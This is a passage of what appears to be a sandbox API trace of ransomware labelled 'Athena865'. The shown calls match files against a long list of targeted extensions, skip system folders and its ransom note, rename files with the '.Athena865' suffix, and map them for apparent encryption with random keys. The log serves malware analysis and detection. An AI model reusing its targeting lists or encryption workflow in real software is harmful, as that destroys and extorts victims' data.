lpString2="hdb") returned 1 [0093.779] lstrlenW (lpString="his") returned 3 [0093.779] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0093.779] lstrlenW (lpString="ib") returned 2 [0093.779] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0093.779] lstrlenW (lpString="idb") returned 3 [0093.779] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0093.779] lstrlenW (lpString="ihx") returned 3 [0093.779] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0093.780] lstrlenW (lpString="itdb") returned 4 [0093.780] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0093.780] lstrlenW (lpString="itw") returned 3 [0093.780] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0093.780] lstrlenW (lpString="jet") returned 3 [0093.780] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0093.780] lstrlenW (lpString="jtx") returned 3 [0093.780] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0093.780] lstrlenW (lpString="kdb") returned 3 [0093.780] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0093.780] lstrlenW (lpString="kexi") returned 4 [0093.780] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0093.780] lstrlenW (lpString="kexic") returned 5 [0093.780] lstrcmpiW (lpString1="l.mui", lpString2="kexic") returned 1 [0093.780] lstrlenW (lpString="kexis") returned 5 [0093.780] lstrcmpiW (lpString1="l.mui", lpString2="kexis") returned 1 [0093.780] lstrlenW (lpString="lgc") returned 3 [0093.780] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0093.780] lstrlenW (lpString="lwx") returned 3 [0093.780] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0093.780] lstrlenW (lpString="maf") returned 3 [0093.780] lstrcmpiW (lpString1="mui", lpString2="maf") returned 1 [0093.780] lstrlenW (lpString="maq") returned 3 [0093.780] lstrcmpiW (lpString1="mui", lpString2="maq") returned 1 [0093.780] lstrlenW (lpString="mar") returned 3 [0093.780] lstrcmpiW (lpString1="mui", lpString2="mar") returned 1 [0093.780] lstrlenW (lpString="marshal") returned 7 [0093.780] lstrcmpiW (lpString1="dll.mui", lpString2="marshal") returned -1 [0093.780] lstrlenW (lpString="mas") returned 3 [0093.780] lstrcmpiW (lpString1="mui", lpString2="mas") returned 1 [0093.780] lstrlenW (lpString="mav") returned 3 [0093.780] lstrcmpiW (lpString1="mui", lpString2="mav") returned 1 [0093.781] lstrlenW (lpString="maw") returned 3 [0093.781] lstrcmpiW (lpString1="mui", lpString2="maw") returned 1 [0093.781] lstrlenW (lpString="mdbhtml") returned 7 [0093.781] lstrcmpiW (lpString1="dll.mui", lpString2="mdbhtml") returned -1 [0093.781] lstrlenW (lpString="mdn") returned 3 [0093.781] lstrcmpiW (lpString1="mui", lpString2="mdn") returned 1 [0093.781] lstrlenW (lpString="mdt") returned 3 [0093.781] lstrcmpiW (lpString1="mui", lpString2="mdt") returned 1 [0093.781] lstrlenW (lpString="mfd") returned 3 [0093.781] lstrcmpiW (lpString1="mui", lpString2="mfd") returned 1 [0093.781] lstrlenW (lpString="mpd") returned 3 [0093.781] lstrcmpiW (lpString1="mui", lpString2="mpd") returned 1 [0093.781] lstrlenW (lpString="mrg") returned 3 [0093.781] lstrcmpiW (lpString1="mui", lpString2="mrg") returned 1 [0093.781] lstrlenW (lpString="mud") returned 3 [0093.781] lstrcmpiW (lpString1="mui", lpString2="mud") returned 1 [0093.781] lstrlenW (lpString="mwb") returned 3 [0093.781] lstrcmpiW (lpString1="mui", lpString2="mwb") returned -1 [0093.781] lstrlenW (lpString="myd") returned 3 [0093.781] lstrcmpiW (lpString1="mui", lpString2="myd") returned -1 [0093.781] lstrlenW (lpString="ndf") returned 3 [0093.781] lstrcmpiW (lpString1="mui", lpString2="ndf") returned -1 [0093.781] lstrlenW (lpString="nnt") returned 3 [0093.781] lstrcmpiW (lpString1="mui", lpString2="nnt") returned -1 [0093.781] lstrlenW (lpString="nrmlib") returned 6 [0093.781] lstrcmpiW (lpString1="ll.mui", lpString2="nrmlib") returned -1 [0093.781] lstrlenW (lpString="ns2") returned 3 [0093.781] lstrcmpiW (lpString1="mui", lpString2="ns2") returned -1 [0093.781] lstrlenW (lpString="ns3") returned 3 [0093.781] lstrcmpiW (lpString1="mui", lpString2="ns3") returned -1 [0093.781] lstrlenW (lpString="ns4") returned 3 [0093.781] lstrcmpiW (lpString1="mui", lpString2="ns4") returned -1 [0093.781] lstrlenW (lpString="nsf") returned 3 [0093.782] lstrcmpiW (lpString1="mui", lpString2="nsf") returned -1 [0093.782] lstrlenW (lpString="nv") returned 2 [0093.782] lstrcmpiW (lpString1="ui", lpString2="nv") returned 1 [0093.782] lstrlenW (lpString="nv2") returned 3 [0093.782] lstrcmpiW (lpString1="mui", lpString2="nv2") returned -1 [0093.782] lstrlenW (lpString="nwdb") returned 4 [0093.782] lstrcmpiW (lpString1=".mui", lpString2="nwdb") returned -1 [0093.782] lstrlenW (lpString="nyf") returned 3 [0093.782] lstrcmpiW (lpString1="mui", lpString2="nyf") returned -1 [0093.782] lstrlenW (lpString="odb") returned 3 [0093.782] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0093.782] lstrlenW (lpString="odb") returned 3 [0093.782] lstrcmpiW (lpString1="mui", lpString2="odb") returned -1 [0093.782] lstrlenW (lpString="oqy") returned 3 [0093.782] lstrcmpiW (lpString1="mui", lpString2="oqy") returned -1 [0093.782] lstrlenW (lpString="ora") returned 3 [0093.782] lstrcmpiW (lpString1="mui", lpString2="ora") returned -1 [0093.782] lstrlenW (lpString="orx") returned 3 [0093.782] lstrcmpiW (lpString1="mui", lpString2="orx") returned -1 [0093.782] lstrlenW (lpString="owc") returned 3 [0093.782] lstrcmpiW (lpString1="mui", lpString2="owc") returned -1 [0093.782] lstrlenW (lpString="p96") returned 3 [0093.782] lstrcmpiW (lpString1="mui", lpString2="p96") returned -1 [0093.782] lstrlenW (lpString="p97") returned 3 [0093.782] lstrcmpiW (lpString1="mui", lpString2="p97") returned -1 [0093.782] lstrlenW (lpString="pan") returned 3 [0093.782] lstrcmpiW (lpString1="mui", lpString2="pan") returned -1 [0093.782] lstrlenW (lpString="pdb") returned 3 [0093.782] lstrcmpiW (lpString1="mui", lpString2="pdb") returned -1 [0093.782] lstrlenW (lpString="pdm") returned 3 [0093.782] lstrcmpiW (lpString1="mui", lpString2="pdm") returned -1 [0093.782] lstrlenW (lpString="pnz") returned 3 [0093.783] lstrcmpiW (lpString1="mui", lpString2="pnz") returned -1 [0093.783] lstrlenW (lpString="qry") returned 3 [0093.783] lstrcmpiW (lpString1="mui", lpString2="qry") returned -1 [0093.783] lstrlenW (lpString="qvd") returned 3 [0093.783] lstrcmpiW (lpString1="mui", lpString2="qvd") returned -1 [0093.783] lstrlenW (lpString="rbf") returned 3 [0093.783] lstrcmpiW (lpString1="mui", lpString2="rbf") returned -1 [0093.783] lstrlenW (lpString="rctd") returned 4 [0093.783] lstrcmpiW (lpString1=".mui", lpString2="rctd") returned -1 [0093.783] lstrlenW (lpString="rod") returned 3 [0093.783] lstrcmpiW (lpString1="mui", lpString2="rod") returned -1 [0093.783] lstrlenW (lpString="rodx") returned 4 [0093.783] lstrcmpiW (lpString1=".mui", lpString2="rodx") returned -1 [0093.783] lstrlenW (lpString="rpd") returned 3 [0093.783] lstrcmpiW (lpString1="mui", lpString2="rpd") returned -1 [0093.783] lstrlenW (lpString="rsd") returned 3 [0093.783] lstrcmpiW (lpString1="mui", lpString2="rsd") returned -1 [0093.783] lstrlenW (lpString="sas7bdat") returned 8 [0093.783] lstrcmpiW (lpString1=".dll.mui", lpString2="sas7bdat") returned -1 [0093.783] lstrlenW (lpString="sbf") returned 3 [0093.783] lstrcmpiW (lpString1="mui", lpString2="sbf") returned -1 [0093.783] lstrlenW (lpString="scx") returned 3 [0093.783] lstrcmpiW (lpString1="mui", lpString2="scx") returned -1 [0093.783] lstrlenW (lpString="sdb") returned 3 [0093.783] lstrcmpiW (lpString1="mui", lpString2="sdb") returned -1 [0093.783] lstrlenW (lpString="sdc") returned 3 [0093.783] lstrcmpiW (lpString1="mui", lpString2="sdc") returned -1 [0093.783] lstrlenW (lpString="sdf") returned 3 [0093.783] lstrcmpiW (lpString1="mui", lpString2="sdf") returned -1 [0093.783] lstrlenW (lpString="sis") returned 3 [0093.784] lstrcmpiW (lpString1="mui", lpString2="sis") returned -1 [0093.784] lstrlenW (lpString="spq") returned 3 [0093.784] lstrcmpiW (lpString1="mui", lpString2="spq") returned -1 [0093.784] lstrlenW (lpString="te") returned 2 [0093.784] lstrcmpiW (lpString1="ui", lpString2="te") returned 1 [0093.784] lstrlenW (lpString="teacher") returned 7 [0093.784] lstrcmpiW (lpString1="dll.mui", lpString2="teacher") returned -1 [0093.784] lstrlenW (lpString="tmd") returned 3 [0093.784] lstrcmpiW (lpString1="mui", lpString2="tmd") returned -1 [0093.784] lstrlenW (lpString="tps") returned 3 [0093.784] lstrcmpiW (lpString1="mui", lpString2="tps") returned -1 [0093.784] lstrlenW (lpString="trc") returned 3 [0093.784] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0093.784] lstrlenW (lpString="trc") returned 3 [0093.784] lstrcmpiW (lpString1="mui", lpString2="trc") returned -1 [0093.784] lstrlenW (lpString="trm") returned 3 [0093.784] lstrcmpiW (lpString1="mui", lpString2="trm") returned -1 [0093.784] lstrlenW (lpString="udb") returned 3 [0093.784] lstrcmpiW (lpString1="mui", lpString2="udb") returned -1 [0093.784] lstrlenW (lpString="udl") returned 3 [0093.784] lstrcmpiW (lpString1="mui", lpString2="udl") returned -1 [0093.784] lstrlenW (lpString="usr") returned 3 [0093.784] lstrcmpiW (lpString1="mui", lpString2="usr") returned -1 [0093.784] lstrlenW (lpString="v12") returned 3 [0093.784] lstrcmpiW (lpString1="mui", lpString2="v12") returned -1 [0093.784] lstrlenW (lpString="vis") returned 3 [0093.784] lstrcmpiW (lpString1="mui", lpString2="vis") returned -1 [0093.784] lstrlenW (lpString="vpd") returned 3 [0093.784] lstrcmpiW (lpString1="mui", lpString2="vpd") returned -1 [0093.784] lstrlenW (lpString="vvv") returned 3 [0093.784] lstrcmpiW (lpString1="mui", lpString2="vvv") returned -1 [0093.784] lstrlenW (lpString="wdb") returned 3 [0093.785] lstrcmpiW (lpString1="mui", lpString2="wdb") returned -1 [0093.785] lstrlenW (lpString="wmdb") returned 4 [0093.785] lstrcmpiW (lpString1=".mui", lpString2="wmdb") returned -1 [0093.785] lstrlenW (lpString="wrk") returned 3 [0093.785] lstrcmpiW (lpString1="mui", lpString2="wrk") returned -1 [0093.785] lstrlenW (lpString="xdb") returned 3 [0093.785] lstrcmpiW (lpString1="mui", lpString2="xdb") returned -1 [0093.785] lstrlenW (lpString="xld") returned 3 [0093.785] lstrcmpiW (lpString1="mui", lpString2="xld") returned -1 [0093.785] lstrlenW (lpString="xmlff") returned 5 [0093.785] lstrcmpiW (lpString1="l.mui", lpString2="xmlff") returned -1 [0093.785] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui.Athena865") returned 78 [0093.785] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\jsdebuggeride.dll.mui"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\jsdebuggeride.dll.mui.athena865"), dwFlags=0x1) returned 1 [0093.786] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\jsdebuggeride.dll.mui.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0093.786] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2048) returned 1 [0093.786] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0093.786] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0093.786] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518d60 [0093.786] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518bc8) returned 1 [0093.787] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0093.787] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.787] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb00, lpName=0x0) returned 0x17c [0093.789] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb00) returned 0x100000 [0093.792] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518bc8) returned 1 [0093.793] CryptGenRandom (in: hProv=0x518bc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0093.793] CryptReleaseContext (hProv=0x518bc8, dwFlags=0x0) returned 1 [0093.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0093.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0093.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0093.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0093.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0093.794] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0093.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0093.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0093.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0093.795] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0093.795] CloseHandle (hObject=0x17c) returned 1 [0093.795] CloseHandle (hObject=0x154) returned 1 [0093.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0093.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0093.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0093.795] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JSProfilerCore.dll.mui", cAlternateFileName="")) returned 1 [0093.796] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0093.796] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0093.796] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2=".") returned 1 [0093.796] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="..") returned 1 [0093.797] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="windows") returned -1 [0093.797] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="bootmgr") returned 1 [0093.797] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="temp") returned -1 [0093.797] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="pagefile.sys") returned -1 [0093.797] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="boot") returned 1 [0093.797] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="ids.txt") returned 1 [0093.797] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="ntuser.dat") returned -1 [0093.797] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="perflogs") returned -1 [0093.797] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2="MSBuild") returned -1 [0093.797] lstrlenW (lpString="JSProfilerCore.dll.mui") returned 22 [0093.797] lstrcpyW (in: lpString1=0x241e8a6, lpString2="JSProfilerCore.dll.mui" | out: lpString1="JSProfilerCore.dll.mui") returned="JSProfilerCore.dll.mui" [0093.797] lstrlenW (lpString="JSProfilerCore.dll.mui") returned 22 [0093.797] lstrlenW (lpString="Athena865") returned 9 [0093.797] lstrcmpiW (lpString1="e.dll.mui", lpString2="Athena865") returned 1 [0093.797] lstrlenW (lpString=".dll") returned 4 [0093.797] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2=".dll") returned 1 [0093.797] lstrlenW (lpString=".lnk") returned 4 [0093.797] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2=".lnk") returned 1 [0093.797] lstrlenW (lpString=".ini") returned 4 [0093.797] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2=".ini") returned 1 [0093.797] lstrlenW (lpString=".sys") returned 4 [0093.797] lstrcmpiW (lpString1="JSProfilerCore.dll.mui", lpString2=".sys") returned 1 [0093.797] lstrlenW (lpString="JSProfilerCore.dll.mui") returned 22 [0093.797] lstrlenW (lpString="bak") returned 3 [0093.797] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0093.797] lstrlenW (lpString="ba_") returned 3 [0093.798] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0093.798] lstrlenW (lpString="dbb") returned 3 [0093.798] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0093.798] lstrlenW (lpString="vmdk") returned 4 [0093.798] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0093.798] lstrlenW (lpString="rar") returned 3 [0093.798] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0093.798] lstrlenW (lpString="zip") returned 3 [0093.798] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0093.798] lstrlenW (lpString="tgz") returned 3 [0093.798] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0093.798] lstrlenW (lpString="vbox") returned 4 [0093.798] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0093.798] lstrlenW (lpString="vdi") returned 3 [0093.798] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0093.798] lstrlenW (lpString="vhd") returned 3 [0093.798] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0093.798] lstrlenW (lpString="vhdx") returned 4 [0093.798] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0093.798] lstrlenW (lpString="avhd") returned 4 [0093.798] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0093.798] lstrlenW (lpString="db") returned 2 [0093.798] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0093.798] lstrlenW (lpString="db2") returned 3 [0093.798] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0093.798] lstrlenW (lpString="db3") returned 3 [0093.798] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0093.798] lstrlenW (lpString="dbf") returned 3 [0093.798] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0093.798] lstrlenW (lpString="mdf") returned 3 [0093.798] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0093.799] lstrlenW (lpString="mdb") returned 3 [0093.799] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0093.799] lstrlenW (lpString="sql") returned 3 [0093.799] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0093.799] lstrlenW (lpString="sqlite") returned 6 [0093.799] lstrcmpiW (lpString1="ll.mui", lpString2="sqlite") returned -1 [0093.799] lstrlenW (lpString="sqlite3") returned 7 [0093.799] lstrcmpiW (lpString1="dll.mui", lpString2="sqlite3") returned -1 [0093.799] lstrlenW (lpString="sqlitedb") returned 8 [0093.799] lstrcmpiW (lpString1=".dll.mui", lpString2="sqlitedb") returned -1 [0093.799] lstrlenW (lpString="xml") returned 3 [0093.799] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0093.799] lstrlenW (lpString="$er") returned 3 [0093.799] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0093.799] lstrlenW (lpString="4dd") returned 3 [0093.799] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0093.799] lstrlenW (lpString="4dl") returned 3 [0093.799] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0093.799] lstrlenW (lpString="^^^") returned 3 [0093.799] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0093.799] lstrlenW (lpString="abs") returned 3 [0093.799] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0093.799] lstrlenW (lpString="abx") returned 3 [0093.799] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0093.799] lstrlenW (lpString="accdb") returned 5 [0093.799] lstrcmpiW (lpString1="l.mui", lpString2="accdb") returned 1 [0093.799] lstrlenW (lpString="accdc") returned 5 [0093.799] lstrcmpiW (lpString1="l.mui", lpString2="accdc") returned 1 [0093.799] lstrlenW (lpString="accde") returned 5 [0093.799] lstrcmpiW (lpString1="l.mui", lpString2="accde") returned 1 [0093.799] lstrlenW (lpString="accdr") returned 5 [0093.800] lstrcmpiW (lpString1="l.mui", lpString2="accdr") returned 1 [0093.800] lstrlenW (lpString="accdt") returned 5 [0093.800] lstrcmpiW (lpString1="l.mui", lpString2="accdt") returned 1 [0093.800] lstrlenW (lpString="accdw") returned 5 [0093.800] lstrcmpiW (lpString1="l.mui", lpString2="accdw") returned 1 [0093.800] lstrlenW (lpString="accft") returned 5 [0093.800] lstrcmpiW (lpString1="l.mui", lpString2="accft") returned 1 [0093.800] lstrlenW (lpString="adb") returned 3 [0093.800] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0093.800] lstrlenW (lpString="adb") returned 3 [0093.800] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0093.800] lstrlenW (lpString="ade") returned 3 [0093.800] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0093.800] lstrlenW (lpString="adf") returned 3 [0093.800] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0093.800] lstrlenW (lpString="adn") returned 3 [0093.800] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0093.800] lstrlenW (lpString="adp") returned 3 [0093.800] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0093.800] lstrlenW (lpString="alf") returned 3 [0093.800] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0093.800] lstrlenW (lpString="ask") returned 3 [0093.800] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0093.800] lstrlenW (lpString="btr") returned 3 [0093.800] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0093.800] lstrlenW (lpString="cat") returned 3 [0093.800] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0093.800] lstrlenW (lpString="cdb") returned 3 [0093.800] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0093.800] lstrlenW (lpString="ckp") returned 3 [0093.800] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0093.800] lstrlenW (lpString="cma") returned 3 [0093.801] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0093.801] lstrlenW (lpString="cpd") returned 3 [0093.801] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0093.801] lstrlenW (lpString="dacpac") returned 6 [0093.801] lstrcmpiW (lpString1="ll.mui", lpString2="dacpac") returned 1 [0093.801] lstrlenW (lpString="dad") returned 3 [0093.801] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0093.801] lstrlenW (lpString="dadiagrams") returned 10 [0093.801] lstrcmpiW (lpString1="re.dll.mui", lpString2="dadiagrams") returned 1 [0093.801] lstrlenW (lpString="daschema") returned 8 [0093.801] lstrcmpiW (lpString1=".dll.mui", lpString2="daschema") returned -1 [0093.801] lstrlenW (lpString="db-journal") returned 10 [0093.801] lstrcmpiW (lpString1="re.dll.mui", lpString2="db-journal") returned 1 [0093.801] lstrlenW (lpString="db-shm") returned 6 [0093.801] lstrcmpiW (lpString1="ll.mui", lpString2="db-shm") returned 1 [0093.801] lstrlenW (lpString="db-wal") returned 6 [0093.801] lstrcmpiW (lpString1="ll.mui", lpString2="db-wal") returned 1 [0093.801] lstrlenW (lpString="dbc") returned 3 [0093.801] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0093.801] lstrlenW (lpString="dbs") returned 3 [0093.801] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0093.801] lstrlenW (lpString="dbt") returned 3 [0093.801] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0093.801] lstrlenW (lpString="dbv") returned 3 [0093.801] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0093.801] lstrlenW (lpString="dbx") returned 3 [0093.801] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0093.801] lstrlenW (lpString="dcb") returned 3 [0093.801] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0093.801] lstrlenW (lpString="dct") returned 3 [0093.801] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0093.802] lstrlenW (lpString="dcx") returned 3 [0093.802] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0093.802] lstrlenW (lpString="ddl") returned 3 [0093.802] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0093.802] lstrlenW (lpString="dlis") returned 4 [0093.802] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0093.802] lstrlenW (lpString="dp1") returned 3 [0093.802] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0093.802] lstrlenW (lpString="dqy") returned 3 [0093.802] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0093.802] lstrlenW (lpString="dsk") returned 3 [0093.802] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0093.802] lstrlenW (lpString="dsn") returned 3 [0093.802] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0093.802] lstrlenW (lpString="dtsx") returned 4 [0093.802] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0093.802] lstrlenW (lpString="dxl") returned 3 [0093.802] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0093.802] lstrlenW (lpString="eco") returned 3 [0093.802] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0093.802] lstrlenW (lpString="ecx") returned 3 [0093.802] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0093.802] lstrlenW (lpString="edb") returned 3 [0093.802] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0093.802] lstrlenW (lpString="epim") returned 4 [0093.802] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0093.802] lstrlenW (lpString="fcd") returned 3 [0093.802] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0093.802] lstrlenW (lpString="fdb") returned 3 [0093.802] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0093.802] lstrlenW (lpString="fic") returned 3 [0093.803] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0093.803] lstrlenW (lpString="flexolibrary") returned 12 [0093.803] lstrcmpiW (lpString1="Core.dll.mui", lpString2="flexolibrary") returned -1 [0093.803] lstrlenW (lpString="fm5") returned 3 [0093.803] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0093.803] lstrlenW (lpString="fmp") returned 3 [0093.803] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0093.803] lstrlenW (lpString="fmp12") returned 5 [0093.803] lstrcmpiW (lpString1="l.mui", lpString2="fmp12") returned 1 [0093.803] lstrlenW (lpString="fmpsl") returned 5 [0093.803] lstrcmpiW (lpString1="l.mui", lpString2="fmpsl") returned 1 [0093.803] lstrlenW (lpString="fol") returned 3 [0093.803] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0093.803] lstrlenW (lpString="fp3") returned 3 [0093.803] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 